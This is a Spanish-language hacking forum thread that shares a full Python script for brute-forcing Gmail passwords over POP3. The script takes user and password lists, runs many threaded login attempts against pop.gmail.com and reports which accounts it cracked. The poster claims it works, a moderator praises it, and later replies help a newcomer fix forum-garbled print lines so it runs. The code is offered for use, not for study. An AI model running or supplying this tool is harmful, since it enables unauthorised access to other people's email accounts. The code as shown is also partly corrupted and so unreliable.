Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Julio 27, 2008, 03:25:04
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: ||| Gmail Brute Forcer ||| 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: ||| Gmail Brute Forcer |||  (Leído 277 veces)
rukawa
Visitante
« en: Diciembre 10, 2007, 08:37:12 »

Encontre este brute forcer para gmail, lo probe y funciona.

Pruebenlo y me cuentan que tal.

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
    print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
    print "\t   --------------------------------------------------\n"
    print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
    sys.exit(1)
   
server = "pop.gmail.com"
success = []

try:
      users = open(sys.argv[1], "r").readlines()
except(IOError):
      print "[-] Error: Check your userlist path\n"
      sys.exit(1)
 
try:
      words = open(sys.argv[2], "r").readlines()
except(IOError):
      print "[-] Error: Check your wordlist path\n"
      sys.exit(1)
   
try:
    pop = poplib.POP3_SSL(server, 995)
    welcome = pop.getwelcome()
    pop.quit()
except (poplib.error_proto):
    welcome = "No Response"
    pass

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "
  • Server:",server
print "
  • Port: 995"
print "
  • Users Loaded:",len(users)
print "
  • Words Loaded:",len(words)
print "
  • Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])   
    else:
        print "\n[-] Reloading Wordlist - Changing User\n"
        reloader()
        value = random.sample(words,  1)
        users.remove(users[0])
       
    lock.release()
    if len(users) ==1:
        return value[0][:-1], users[0]
    else:
        return value[0][:-1], users[0][:-1]
       
class Worker(threading.Thread):
   
    def run(self):
        value, user = getword()
       
        try:
            print "-"*30
            print "
  • User:",user,"Password:",value
            pop = poplib.POP3_SSL(server, 995)
            pop.user(user)
            pop.pass_(value)
            print "\t\t\n\nLogin successful:",user, value
            print "\t\tMail:",pop.stat()[0],"emails"
            print "\t\tSize:",pop.stat()[1],"bytes\n\n"
            success.append(user)
            success.append(value)
            success.append(pop.stat()[0])
            success.append(pop.stat()[1])
            pop.quit()
        except (poplib.error_proto), msg:
            #print "An error occurred:", msg
            pass

for i in range(len(words)*len(users)):
    work = Worker()
    work.start()
    time.sleep(1)
if len(success) >=1:
    print "\n\n
  • Login successful:",success[0], success[1]
    print "\t
  • Mail:",success[2],"emails"
    print "\t
  • Size:",success[3],"bytes\n"
print "\n[-] Done\n"



salud
« Última modificación: Diciembre 10, 2007, 08:37:33 por SιdVιcιoцs » En línea
The Shadow
Moderación
Colaborador
*****
Desconectado Desconectado

Mensajes: 754


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #1 en: Diciembre 11, 2007, 09:25:31 »

excelente aporte sid..!

brindis
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
sickpsique
Habitual
*****
Desconectado Desconectado

Mensajes: 231


__panzer-division__

388419209 deformus@hotmail.com
Ver Perfil WWW Email
« Respuesta #2 en: Enero 05, 2008, 07:23:23 »

Me parece bien pero........en que lo ejecuto o compilo no reconosco más que algunas sentencias pero otras no
Gracias
En línea

NO DEAD LINKS, NO BULLSHIT !!
Difícil saber si les gusta lo que posteo, una respuesta estaría bien

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
ayahora
Recien Llegado
*
Desconectado Desconectado

Mensajes: 5


Ver Perfil
« Respuesta #3 en: Enero 05, 2008, 07:41:34 »

Citar
Me parece bien pero........en que lo ejecuto o compilo no reconosco más que algunas sentencias pero otras no
Gracias

Citar
#!usr/bin/python

En Python.

salu2  Wink
En línea
sickpsique
Habitual
*****
Desconectado Desconectado

Mensajes: 231


__panzer-division__

388419209 deformus@hotmail.com
Ver Perfil WWW Email
« Respuesta #4 en: Enero 06, 2008, 06:27:20 »

excelente aporte sid..!

brindis

Ok ! gracias por responder los he tratando de correr en mi IDLE python pero me marca error en estos:

    *  Server:",server  <--Estos asteríscos son apuntadores o son errores del foro que convierte caractéres a símbolos porque allí es donde me marca esos errores...

print "

    * Port: 995"

print "

    * Users Loaded:",len(users)

print "

    * Words Loaded:",len(words)

print "

    * Server response:",welcome,"\n"

Pueden ayudarme con eso Huh
En línea

NO DEAD LINKS, NO BULLSHIT !!
Difícil saber si les gusta lo que posteo, una respuesta estaría bien

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
SaTeLuCo
Moderación
Colaborador
*****
Desconectado Desconectado

Mensajes: 431



Ver Perfil WWW
« Respuesta #5 en: Enero 06, 2008, 06:47:22 »

Errores amigo, solo borralos
En línea



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Otros Lenguajes  |  Tema: ||| Gmail Brute Forcer ||| « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC